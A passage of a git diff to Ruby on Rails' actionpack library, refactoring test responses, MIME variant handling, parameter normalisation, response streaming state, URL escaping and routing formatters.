+          if klass < ActionController::Live
+            response_klass = LiveTestResponse
+          end
           unless @controller
             begin
               @controller = klass.new
@@ -596,6 +625,10 @@ module ActionController
           end
         end
 
+        @request          = build_request
+        @response         = build_response response_klass
+        @response.request = @request
+
         if @controller
           @controller.request = @request
           @controller.params = {}
@@ -606,8 +639,8 @@ module ActionController
         TestRequest.new
       end
 
-      def build_response
-        TestResponse.new
+      def build_response(klass)
+        klass.new
       end
 
       included do
@@ -628,17 +661,6 @@ module ActionController
         end
       end
 
-      def handle_old_process_api(http_method, args, callstack)
-        # 4.0: Remove this method.
-        if http_method.is_a?(Hash)
-          ActiveSupport::Deprecation.warn("TestCase#process now expects the HTTP method as second argument: process(action, http_method, params, session, flash)", callstack)
-          args.unshift(http_method)
-          http_method = args.last.is_a?(String) ? args.last : "GET"
-        end
-
-        [http_method, args]
-      end
-
       def build_request_uri(action, parameters)
         unless @request.env["PATH_INFO"]
           options = @controller.respond_to?(:url_options) ? @controller.__send__(:url_options).merge(parameters) : parameters
diff --git a/actionpack/lib/action_controller/vendor/html-scanner.rb b/actionpack/lib/action_controller/vendor/html-scanner.rb
deleted file mode 100644
index 896208b..0000000
--- a/actionpack/lib/action_controller/vendor/html-scanner.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require 'action_view/vendor/html-scanner'
-require 'active_support/deprecation'
-
-ActiveSupport::Deprecation.warn 'Vendored html-scanner was moved to action_view, please require "action_view/vendor/html-scanner" instead. ' +
-                                'This file will be removed in Rails 4.1'
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index 24a3d47..11b5e6b 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -52,7 +52,6 @@ module ActionDispatch
     autoload :DebugExceptions
     autoload :ExceptionWrapper
     autoload :Flash
-    autoload :Head
     autoload :ParamsParser
     autoload :PublicExceptions
     autoload :Reloader
@@ -74,18 +73,16 @@ module ActionDispatch
     autoload :MimeNegotiation
     autoload :Parameters
     autoload :ParameterFilter
-    autoload :FilterParameters
-    autoload :FilterRedirect
     autoload :Upload
     autoload :UploadedFile, 'action_dispatch/http/upload'
     autoload :URL
   end
 
   module Session
-    autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
-    autoload :CookieStore,   'action_dispatch/middleware/session/cookie_store'
-    autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
-    autoload :CacheStore,    'action_dispatch/middleware/session/cache_store'
+    autoload :AbstractStore,     'action_dispatch/middleware/session/abstract_store'
+    autoload :CookieStore,       'action_dispatch/middleware/session/cookie_store'
+    autoload :MemCacheStore,     'action_dispatch/middleware/session/mem_cache_store'
+    autoload :CacheStore,        'action_dispatch/middleware/session/cache_store'
   end
 
   mattr_accessor :test_app
diff --git a/actionpack/lib/action_dispatch/http/filter_redirect.rb b/actionpack/lib/action_dispatch/http/filter_redirect.rb
index 900ce1c..cd60364 100644
--- a/actionpack/lib/action_dispatch/http/filter_redirect.rb
+++ b/actionpack/lib/action_dispatch/http/filter_redirect.rb
@@ -5,7 +5,8 @@ module ActionDispatch
       FILTERED = '[FILTERED]'.freeze # :nodoc:
 
       def filtered_location
-        if !location_filter.empty? && location_filter_match?
+        filters = location_filter
+        if !filters.empty? && location_filter_match?(filters)
           FILTERED
         else
           location
@@ -15,15 +16,15 @@ module ActionDispatch
     private
 
       def location_filter
-        if request.present?
+        if request
           request.env['action_dispatch.redirect_filter'] || []
         else
           []
         end
       end
 
-      def location_filter_match?
-        location_filter.any? do |filter|
+      def location_filter_match?(filters)
+        filters.any? do |filter|
           if String === filter
             location.include?(filter)
           elsif Regexp === filter
diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb
index 2666cd4..788eed8 100644
--- a/actionpack/lib/action_dispatch/http/headers.rb
+++ b/actionpack/lib/action_dispatch/http/headers.rb
@@ -26,7 +26,9 @@ module ActionDispatch
         @env[env_name(key)] = value
       end
 
-      def key?(key); @env.key? key; end
+      def key?(key)
+        @env.key? env_name(key)
+      end
       alias :include? :key?
 
       def fetch(key, *args, &block)
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 40bb060..0b2b60d 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -10,6 +10,8 @@ module ActionDispatch
         self.ignore_accept_header = false
       end
 
+      attr_reader :variant
+
       # The MIME type of the HTTP request, such as Mime::XML.
       #
       # For backward compatibility, the post \format is extracted from the
@@ -48,7 +50,7 @@ module ActionDispatch
       #   GET /posts/5       | request.format => Mime::HTML or MIME::JS, or request.accepts.first
       #
       def format(view_path = [])
-        formats.first
+        formats.first || Mime::NullType.instance
       end
 
       def formats
@@ -64,6 +66,20 @@ module ActionDispatch
           end
       end
 
+      # Sets the \variant for template.
+      def variant=(variant)
+        if variant.is_a?(Symbol)
+          @variant = [variant]
+        elsif variant.is_a?(Array) && variant.any? && variant.all?{ |v| v.is_a?(Symbol) }
+          @variant = variant
+        else
+          raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols, not a #{variant.class}. " \
+            "For security reasons, never directly set the variant to a user-provided value, " \
+            "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \
+            "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'"
+        end
+      end
+
       # Sets the \format by string extension, which can be used to force custom formats
       # that are not controlled by the extension.
       #
@@ -113,7 +129,7 @@ module ActionDispatch
           end
         end
 
-        order.include?(Mime::ALL) ? formats.first : nil
+        order.include?(Mime::ALL) ? format : nil
       end
 
       protected
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index 43cd91d..9450be8 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,5 +1,6 @@
 require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'singleton'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/string/starts_ends_with'
 
 module Mime
@@ -27,7 +28,7 @@ module Mime
   class << self
     def [](type)
       return type if type.is_a?(Type)
-      Type.lookup_by_extension(type) || NullType.new
+      Type.lookup_by_extension(type)
     end
 
     def fetch(type)
@@ -53,10 +54,6 @@ module Mime
     @@html_types = Set.new [:html, :all]
     cattr_reader :html_types
 
-    # These are the content types which browsers can generate without using ajax, flash, etc
-    # i.e. following a link, getting an image or posting a form. CSRF protection
-    # only needs to protect against these types.
-    @@browser_generated_types = Set.new [:html, :url_encoded_form, :multipart_form, :text]
     attr_reader :symbol
 
     @register_callbacks = []
@@ -177,7 +174,7 @@ module Mime
       end
 
       def parse(accept_header)
-        if accept_header !~ /,/
+        if !accept_header.include?(',')
           accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
           parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)].compact
         else
@@ -272,18 +269,6 @@ module Mime
       end
     end
 
-    # Returns true if Action Pack should check requests using this Mime Type for possible request forgery. See
-    # ActionController::RequestForgeryProtection.
-    def verify_request?
-      ActiveSupport::Deprecation.warn "Mime::Type#verify_request? is deprecated and will be removed in Rails 4.1"
-      @@browser_generated_types.include?(to_sym)
-    end
-
-    def self.browser_generated_types
-      ActiveSupport::Deprecation.warn "Mime::Type.browser_generated_types is deprecated and will be removed in Rails 4.1"
-      @@browser_generated_types
-    end
-
     def html?
       @@html_types.include?(to_sym) || @string =~ /html/
     end
@@ -308,13 +293,13 @@ module Mime
   end
 
   class NullType
+    include Singleton
+
     def nil?
       true
     end
 
-    def ref
-      nil
-    end
+    def ref; end
 
     def respond_to_missing?(method, include_private = false)
       method.to_s.ends_with? '?'
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
index a6b3aee..0e4da36 100644
--- a/actionpack/lib/action_dispatch/http/mime_types.rb
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -7,6 +7,7 @@ Mime::Type.register "text/javascript", :js, %w( application/javascript applicati
 Mime::Type.register "text/css", :css
 Mime::Type.register "text/calendar", :ics
 Mime::Type.register "text/csv", :csv
+Mime::Type.register "text/vcard", :vcf
 
 Mime::Type.register "image/png", :png, [], %w(png)
 Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
index 20c24dd..dcb299e 100644
--- a/actionpack/lib/action_dispatch/http/parameters.rb
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -57,26 +57,25 @@ module ActionDispatch
       # you'll get a weird error down the road, but our form handling
       # should really prevent that from happening
       def normalize_encode_params(params)
-        if params.is_a?(String)
-          return params.force_encoding(Encoding::UTF_8).encode!
-        elsif !params.is_a?(Hash)
-          return params
-        end
-
-        new_hash = {}
-        params.each do |k, v|
-          new_key = k.is_a?(String) ? k.dup.force_encoding(Encoding::UTF_8).encode! : k
-          new_hash[new_key] =
-            case v
-            when Hash
-              normalize_encode_params(v)
-            when Array
-              v.map! {|el| normalize_encode_params(el) }
-            else
-              normalize_encode_params(v)
-            end
+        case params
+        when String
+          params.force_encoding(Encoding::UTF_8).encode!
+        when Hash
+          if params.has_key?(:tempfile)
+            UploadedFile.new(params)
+          else
+            params.each_with_object({}) do |(key, val), new_hash|
+              new_key = key.is_a?(String) ? key.dup.force_encoding(Encoding::UTF_8).encode! : key
+              new_hash[new_key] = if val.is_a?(Array)
+                val.map! { |el| normalize_encode_params(el) }
+              else
+                normalize_encode_params(val)
+              end
+            end.with_indifferent_access
+          end
+        else
+          params
         end
-        new_hash.with_indifferent_access
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index ba04000..1318c62 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -18,10 +18,10 @@ module ActionDispatch
     include ActionDispatch::Http::MimeNegotiation
     include ActionDispatch::Http::Parameters
     include ActionDispatch::Http::FilterParameters
-    include ActionDispatch::Http::Upload
     include ActionDispatch::Http::URL
 
     autoload :Session, 'action_dispatch/request/session'
+    autoload :Utils,   'action_dispatch/request/utils'
 
     LOCALHOST   = Regexp.union [/^127\.0\.0\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
 
@@ -225,7 +225,7 @@ module ActionDispatch
     def raw_post
       unless @env.include? 'RAW_POST_DATA'
         raw_post_body = body
-        @env['RAW_POST_DATA'] = raw_post_body.read(@env['CONTENT_LENGTH'].to_i)
+        @env['RAW_POST_DATA'] = raw_post_body.read(content_length)
         raw_post_body.rewind if raw_post_body.respond_to?(:rewind)
       end
       @env['RAW_POST_DATA']
@@ -271,7 +271,7 @@ module ActionDispatch
 
     # Override Rack's GET method to support indifferent access
     def GET
-      @env["action_dispatch.request.query_parameters"] ||= deep_munge((normalize_encode_params(super) || {}))
+      @env["action_dispatch.request.query_parameters"] ||= Utils.deep_munge((normalize_encode_params(super) || {}))
     rescue TypeError => e
       raise ActionController::BadRequest.new(:query, e)
     end
@@ -279,7 +279,7 @@ module ActionDispatch
 
     # Override Rack's POST method to support indifferent access
     def POST
-      @env["action_dispatch.request.request_parameters"] ||= deep_munge((normalize_encode_params(super) || {}))
+      @env["action_dispatch.request.request_parameters"] ||= Utils.deep_munge((normalize_encode_params(super) || {}))
     rescue TypeError => e
       raise ActionController::BadRequest.new(:request, e)
     end
@@ -299,33 +299,24 @@ module ActionDispatch
       LOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip
     end
 
-    # Remove nils from the params hash
+    # Extracted into ActionDispatch::Request::Utils.deep_munge, but kept here for backwards compatibility.
     def deep_munge(hash)
-      hash.each do |k, v|
-        case v
-        when Array
-          v.grep(Hash) { |x| deep_munge(x) }
-          v.compact!
-          hash[k] = nil if v.empty?
-        when Hash
-          deep_munge(v)
-        end
-      end
+      ActiveSupport::Deprecation.warn(
+        "This method has been extracted into ActionDispatch::Request::Utils.deep_munge. Please start using that instead."
+      )
 
-      hash
+      Utils.deep_munge(hash)
     end
 
     protected
-
-    def parse_query(qs)
-      deep_munge(super)
-    end
+      def parse_query(qs)
+        Utils.deep_munge(super)
+      end
 
     private
-
-    def check_method(name)
-      HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
-      name
-    end
+      def check_method(name)
+        HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
+        name
+      end
   end
 end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index ab49300..eaea93b 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -1,4 +1,5 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'action_dispatch/http/filter_redirect'
 require 'monitor'
 
 module ActionDispatch # :nodoc:
@@ -31,10 +32,17 @@ module ActionDispatch # :nodoc:
   #    end
   #  end
   class Response
-    attr_accessor :request, :header
+    # The request that the response is responding to.
+    attr_accessor :request
+
+    # The HTTP status code.
     attr_reader :status
+
     attr_writer :sending_file
 
+    # Get and set headers for this response.
+    attr_accessor :header
+
     alias_method :headers=, :header=
     alias_method :headers,  :header
 
@@ -49,9 +57,12 @@ module ActionDispatch # :nodoc:
     # If a character set has been defined for this response (see charset=) then
     # the character set information will also be included in the content type
     # information.
-    attr_accessor :charset
     attr_reader   :content_type
 
+    # The charset of the response. HTML wants to know the encoding of the
+    # content you're giving them, so we need to send that along.
+    attr_accessor :charset
+
     CONTENT_TYPE = "Content-Type".freeze
     SET_COOKIE   = "Set-Cookie".freeze
     LOCATION     = "Location".freeze
@@ -80,7 +91,10 @@ module ActionDispatch # :nodoc:
       end
 
       def each(&block)
-        @buf.each(&block)
+        @response.sending!
+        x = @buf.each(&block)
+        @response.sent!
+        x
       end
 
       def close
@@ -93,6 +107,7 @@ module ActionDispatch # :nodoc:
       end
     end
 
+    # The underlying body, as a streamable object.
     attr_reader :stream
 
     def initialize(status = 200, header = {}, body = [])
@@ -106,6 +121,8 @@ module ActionDispatch # :nodoc:
       @blank        = false
       @cv           = new_cond
       @committed    = false
+      @sending      = false
+      @sent         = false
       @content_type = nil
       @charset      = nil
 
@@ -126,22 +143,43 @@ module ActionDispatch # :nodoc:
       end
     end
 
+    def await_sent
+      synchronize { @cv.wait_until { @sent } }
+    end
+
     def commit!
       synchronize do
+        before_committed
         @committed = true
         @cv.broadcast
       end
     end
 
-    def committed?
-      @committed
+    def sending!
+      synchronize do
+        before_sending
+        @sending = true
+        @cv.broadcast
+      end
     end
 
+    def sent!
+      synchronize do
+        @sent = true
+        @cv.broadcast
+      end
+    end
+
+    def sending?;   synchronize { @sending };   end
+    def committed?; synchronize { @committed }; end
+    def sent?;      synchronize { @sent };      end
+
     # Sets the HTTP status code.
     def status=(status)
       @status = Rack::Utils.status_code(status)
     end
 
+    # Sets the HTTP content type.
     def content_type=(content_type)
       @content_type = content_type.to_s
     end
@@ -169,9 +207,9 @@ module ActionDispatch # :nodoc:
     end
     alias_method :status_message, :message
 
-    def respond_to?(method)
+    def respond_to?(method, include_private = false)
       if method.to_s == 'to_path'
-        stream.respond_to?(:to_path)
+        stream.respond_to?(method)
       else
         super
       end
@@ -218,11 +256,13 @@ module ActionDispatch # :nodoc:
       ::Rack::Utils.delete_cookie_header!(header, key, value)
     end
 
+    # The location header we'll be responding with.
     def location
       headers[LOCATION]
     end
     alias_method :redirect_url, :location
 
+    # Sets the location header we'll be responding with.
     def location=(url)
       headers[LOCATION] = url
     end
@@ -231,11 +271,13 @@ module ActionDispatch # :nodoc:
       stream.close if stream.respond_to?(:close)
     end
 
+    # Turns the Response into a Rack-compatible array of the status, headers,
+    # and body.
     def to_a
       rack_response @status, @header.to_hash
     end
     alias prepare! to_a
-    alias to_ary   to_a # For implicit splat on 1.9.2
+    alias to_ary   to_a
 
     # Returns the response cookies, converted to a Hash of (name => value) pairs
     #
@@ -254,8 +296,17 @@ module ActionDispatch # :nodoc:
       cookies
     end
 
+    def _status_code
+      @status
+    end
   private
 
+    def before_committed
+    end
+
+    def before_sending
+    end
+
     def merge_default_headers(original, default)
       return original unless default.respond_to?(:merge)
 
@@ -296,7 +347,7 @@ module ActionDispatch # :nodoc:
         header.delete CONTENT_TYPE
         [status, header, []]
       else
-        [status, header, self]
+        [status, header, Rack::BodyProxy.new(self){}]
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
index b57c84d..a8d2dc3 100644
--- a/actionpack/lib/action_dispatch/http/upload.rb
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -73,18 +73,5 @@ module ActionDispatch
         filename.force_encoding(Encoding::UTF_8).encode! if filename
       end
     end
-
-    module Upload # :nodoc:
-      # Replace file upload hash with UploadedFile objects
-      # when normalize and encode parameters.
-      def normalize_encode_params(value)
-        if Hash === value && value.has_key?(:tempfile)
-          UploadedFile.new(value)
-        else
-          super
-        end
-      end
-      private :normalize_encode_params
-    end
   end
 end
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
index 6f5a52c..27383d1 100644
--- a/actionpack/lib/action_dispatch/http/url.rb
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -34,19 +34,15 @@ module ActionDispatch
           path  = options.delete(:script_name).to_s.chomp("/")
           path << options.delete(:path).to_s
 
+          add_trailing_slash(path) if options[:trailing_slash]
+
           params = options[:params].is_a?(Hash) ? options[:params] : options.slice(:params)
           params.reject! { |_,v| v.to_param.nil? }
 
           result = build_host_url(options)
-          if options[:trailing_slash]
-            if path.include?('?')
-              result << path.sub(/\?/, '/\&')
-            else
-              result << path.sub(/[^\/]\z|\A\z/, '\&/')
-            end
-          else
-            result << path
-          end
+
+          result << path
+
           result << "?#{params.to_query}" unless params.empty?
           result << "##{Journey::Router::Utils.escape_fragment(options[:anchor].to_param.to_s)}" if options[:anchor]
           result
@@ -54,6 +50,18 @@ module ActionDispatch
 
         private
 
+        def add_trailing_slash(path)
+          # includes querysting
+          if path.include?('?')
+            path.sub!(/\?/, '/\&')
+          # does not have a .format
+          elsif !path.include?(".")
+            path.sub!(/[^\/]\z|\A\z/, '\&/')
+          end
+
+          path
+        end
+
         def build_host_url(options)
           if options[:host].blank? && options[:only_path].blank?
             raise ArgumentError, 'Missing host to link to! Please provide the :host parameter, set default_url_options[:host], or set :only_path to true'
@@ -130,7 +138,7 @@ module ActionDispatch
 
           case options[:protocol]
           when "//"
-            nil
+            options[:port]
           when "https://"
             options[:port].to_i == 443 ? nil : options[:port]
           else
diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb
index 66f82d3..4410c1b 100644
--- a/actionpack/lib/action_dispatch/journey/formatter.rb
+++ b/actionpack/lib/action_dispatch/journey/formatter.rb
@@ -3,7 +3,7 @@ require 'action_controller/metal/exceptions'
 module ActionDispatch
   module Journey
     # The Formatter class is used for formatting URLs. For example, parameters
-    # passed to +url_for+ in rails will eventually call Formatter#generate.
+    # passed to +url_for+ in Rails will eventually call Formatter#generate.
     class Formatter # :nodoc:
       attr_reader :routes
 
@@ -33,8 +33,8 @@ module ActionDispatch
           return [route.format(parameterized_parts), params]
         end
 
-        message = "No route matches #{constraints.inspect}"
-        message << " missing required keys: #{missing_keys.inspect}" if name
+        message = "No route matches #{Hash[constraints.sort].inspect}"
+        message << " missing required keys: #{missing_keys.sort.inspect}" if name
 
         raise ActionController::UrlGenerationError, message
       end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
index 971cb34..5a79059 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
@@ -43,9 +43,7 @@ module ActionDispatch
           move_string(t, a).concat(move_regexp(t, a))
         end
 
-        def to_json
-          require 'json'
-
+        def as_json(options = nil)
           simple_regexp = Hash.new { |h,k| h[k] = {} }
 
           @regexp_states.each do |from, hash|
@@ -54,11 +52,11 @@ module ActionDispatch
             end
           end
 
-          JSON.dump({
+          {
             regexp_states: simple_regexp,
             string_states: @string_states,
             accepting:     @accepting
-          })
+          }
         end
 
         def to_svg
diff --git a/actionpack/lib/action_dispatch/journey/parser.rb b/actionpack/lib/action_dispatch/journey/parser.rb
index bb4cbb0..430812f 100644
--- a/actionpack/lib/action_dispatch/journey/parser.rb
+++ b/actionpack/lib/action_dispatch/journey/parser.rb
@@ -1,7 +1,7 @@
 #
 # DO NOT MODIFY!!!!
 # This file is automatically generated by Racc 1.4.9
-# from Racc grammer file "".
+# from Racc grammar file "".
 #
 
 require 'racc/parser.rb'
diff --git a/actionpack/lib/action_dispatch/journey/parser.y b/actionpack/lib/action_dispatch/journey/parser.y
index a2e1afe..040f8d5 100644
--- a/actionpack/lib/action_dispatch/journey/parser.y
+++ b/actionpack/lib/action_dispatch/journey/parser.y
@@ -36,6 +36,7 @@ rule
     ;
   literal
     : LITERAL            { result = Literal.new(val.first) }
+    ;
   dot
     : DOT                { result = Dot.new(val.first) }
     ;
diff --git a/actionpack/lib/action_dispatch/journey/route.rb b/actionpack/lib/action_dispatch/journey/route.rb
index c8eb0f6..2b399d3 100644
--- a/actionpack/lib/action_dispatch/journey/route.rb
+++ b/actionpack/lib/action_dispatch/journey/route.rb
@@ -101,6 +101,10 @@ module ActionDispatch
         end
       end
 
+      def glob?
+        !path.spec.grep(Nodes::Star).empty?
+      end
+
       def dispatcher?
         @dispatcher
       end
diff --git a/actionpack/lib/action_dispatch/journey/router/utils.rb b/actionpack/lib/action_dispatch/journey/router/utils.rb
index 4b03cbb..ac4ecb1 100644
--- a/actionpack/lib/action_dispatch/journey/router/utils.rb
+++ b/actionpack/lib/action_dispatch/journey/router/utils.rb
@@ -1,5 +1,3 @@
-require 'uri'
-
 module ActionDispatch
   module Journey # :nodoc:
     class Router # :nodoc:
@@ -25,31 +23,67 @@ module ActionDispatch
 
         # URI path and fragment escaping
         # http://tools.ietf.org/html/rfc3986
-        module UriEscape # :nodoc:
-          # Symbol captures can generate multiple path segments, so include /.
-          reserved_segment  = '/'
-          reserved_fragment = '/?'
-          reserved_pchar    = ':@&=+$,;%'
-
-          safe_pchar    = "#{URI::REGEXP::PATTERN::UNRESERVED}#{reserved_pchar}"
-          safe_segment  = "#{safe_pchar}#{reserved_segment}"
-          safe_fragment = "#{safe_pchar}#{reserved_fragment}"
-          UNSAFE_SEGMENT  = Regexp.new("[^#{safe_segment}]", false).freeze
-          UNSAFE_FRAGMENT = Regexp.new("[^#{safe_fragment}]", false).freeze
+        class UriEncoder # :nodoc:
+          ENCODE   = "%%%02X".freeze
+          ENCODING = Encoding::US_ASCII
+          EMPTY    = "".force_encoding(ENCODING).freeze
+          DEC2HEX  = (0..255).to_a.map{ |i| ENCODE % i }.map{ |s| s.force_encoding(ENCODING) }
+
+          ALPHA = "a-zA-Z".freeze
+          DIGIT = "0-9".freeze
+          UNRESERVED = "#{ALPHA}#{DIGIT}\\-\\._~".freeze
+          SUB_DELIMS = "!\\$&'\\(\\)\\*\\+,;=".freeze
+
+          ESCAPED  = /%[a-zA-Z0-9]{2}/.freeze
+
+          FRAGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/\?]/.freeze
+          SEGMENT  = /[^#{UNRESERVED}#{SUB_DELIMS}:@]/.freeze
+          PATH     = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/]/.freeze
+
+          def escape_fragment(fragment)
+            escape(fragment, FRAGMENT)
+          end
+
+          def escape_path(path)
+            escape(path, PATH)
+          end
+
+          def escape_segment(segment)
+            escape(segment, SEGMENT)
+          end
+
+          def unescape_uri(uri)
+            uri.gsub(ESCAPED) { [$&[1, 2].hex].pack('C') }.force_encoding(uri.encoding)
+          end
+
+          protected
+            def escape(component, pattern)
+              component.gsub(pattern){ |unsafe| percent_encode(unsafe) }.force_encoding(ENCODING)
+            end
+
+            def percent_encode(unsafe)
+              safe = EMPTY.dup
+              unsafe.each_byte { |b| safe << DEC2HEX[b] }
+              safe
+            end
         end
 
-        Parser = URI.const_defined?(:Parser) ? URI::Parser.new : URI
+        ENCODER = UriEncoder.new
 
         def self.escape_path(path)
-          Parser.escape(path.to_s, UriEscape::UNSAFE_SEGMENT)
+          ENCODER.escape_path(path.to_s)
+        end
+
+        def self.escape_segment(segment)
+          ENCODER.escape_segment(segment.to_s)
         end
 
         def self.escape_fragment(fragment)
-          Parser.escape(fragment.to_s, UriEscape::UNSAFE_FRAGMENT)
+          ENCODER.escape_fragment(fragment.to_s)
         end
 
         def self.unescape_uri(uri)
-          Parser.unescape(uri)
+          ENCODER.unescape_uri(uri)
         end
       end
     end
diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb
index c0be167..d9f6346 100644
--- a/actionpack/lib/action_dispatch/journey/visitors.rb
+++ b/actionpack/lib/action_dispatch/journey/visitors.rb
@@ -77,54 +77,86 @@ module ActionDispatch
         end
       end
 
-      class OptimizedPath < String # :nodoc:
+      class OptimizedPath < Visitor # :nodoc:
+        def accept(node)
+          Array(visit(node))
+        end
+
         private
 
-        def visit_GROUP(node)
-          ""
-        end
+          def visit_CAT(node)
+            [visit(node.left), visit(node.right)].flatten
+          end
+
+          def visit_SYMBOL(node)
+            node.left[1..-1].to_sym
+          end
+
+          def visit_STAR(node)
+            visit(node.left)
+          end
+
+          def visit_GROUP(node)
+            []
+          end
+
+          %w{ LITERAL SLASH DOT }.each do |t|
+            class_eval %{ def visit_#{t}(n); n.left; end }, __FILE__, __LINE__
+          end
       end
 
       # Used for formatting urls (url_for)
       class Formatter < Visitor # :nodoc:
-        attr_reader :options, :consumed
+        attr_reader :options
 
         def initialize(options)
           @options  = options
-          @consumed = {}
         end
 
         private
-
-          def visit_GROUP(node)
-            if consumed == options
-              nil
-            else
-              route = visit(node.left)
-              route.include?("\0") ? nil : route
+          def escape_path(value)
+            Router::Utils.escape_path(value)
+          end
+
+          def escape_segment(value)
+            Router::Utils.escape_segment(value)
+          end
+
+          def visit(node, optional = false)
+            case node.type
+            when :LITERAL, :SLASH, :DOT
+              node.left
+            when :STAR
+              visit_STAR(node.left)
+            when :GROUP
+              visit(node.left, true)
+            when :CAT
+              visit_CAT(node, optional)
+            when :SYMBOL
+              visit_SYMBOL(node, node.to_sym)
             end
           end
 
-          def terminal(node)
-            node.left
-          end
+          def visit_CAT(node, optional)
+            left = visit(node.left, optional)
+            right = visit(node.right, optional)
 
-          def binary(node)
-            [visit(node.left), visit(node.right)].join
+            if optional && !(right && left)
+              ""
+            else
+              [left, right].join
+            end
           end
 
-          def nary(node)
-            node.children.map { |c| visit(c) }.join
+          def visit_STAR(node)
+            if value = options[node.to_sym]
+              escape_path(value)
+            end
           end
 
-          def visit_SYMBOL(node)
-            key = node.to_sym
-
-            if value = options[key]
-              consumed[key] = value
-              Router::Utils.escape_path(value)
-            else
-              "\0"
+          def visit_SYMBOL(node, name)
+            if value = options[name]
+              name == :controller ? escape_path(value) : escape_segment(value)
             end
           end
       end
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
index 852f1cf..baf9d57 100644
--- a/actionpack/lib/action_dispatch/middleware/callbacks.rb
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -8,14 +8,14 @@ module ActionDispatch
 
     class << self
       delegate :to_prepare, :to_cleanup, :to => "ActionDispatch::Reloader"
-    end
 
-    def self.before(*args, &block)
-      set_callback(:call, :before, *args, &block)
-    end
+      def before(*args, &block)
+        set_callback(:call, :before, *args, &block)
+      end
 
-    def self.after(*args, &block)
-      set_callback(:call, :after, *args, &block)
+      def after(*args, &block)
+        set_callback(:call, :after, *args, &block)
+      end
     end
 
     def initialize(app)
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
index 3ccd0c9..2f44a41 100644
--- a/actionpack/lib/action_dispatch/middleware/cookies.rb
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -23,15 +23,15 @@ module ActionDispatch
   #   # This cookie will be deleted when the user's browser is closed.
   #   cookies[:user_name] = "david"
   #
-  #   # Assign an array of values to a cookie.
-  #   cookies[:lat_lon] = [47.68, -122.37]
+  #   # Cookie values are String based. Other data types need to be serialized.
+  #   cookies[:lat_lon] = JSON.generate([47.68, -122.37])
   #
   #   # Sets a cookie that expires in 1 hour.
   #   cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
   #
   #   # Sets a signed cookie, which prevents users from tampering with its value.
-  #   # The cookie is signed by your app's <tt>config.secret_key_base</tt> value.
-  #   # It can be read using the signed method <tt>cookies.signed[:name]</tt>
+  #   # The cookie is signed by your app's `secrets.secret_key_base` value.
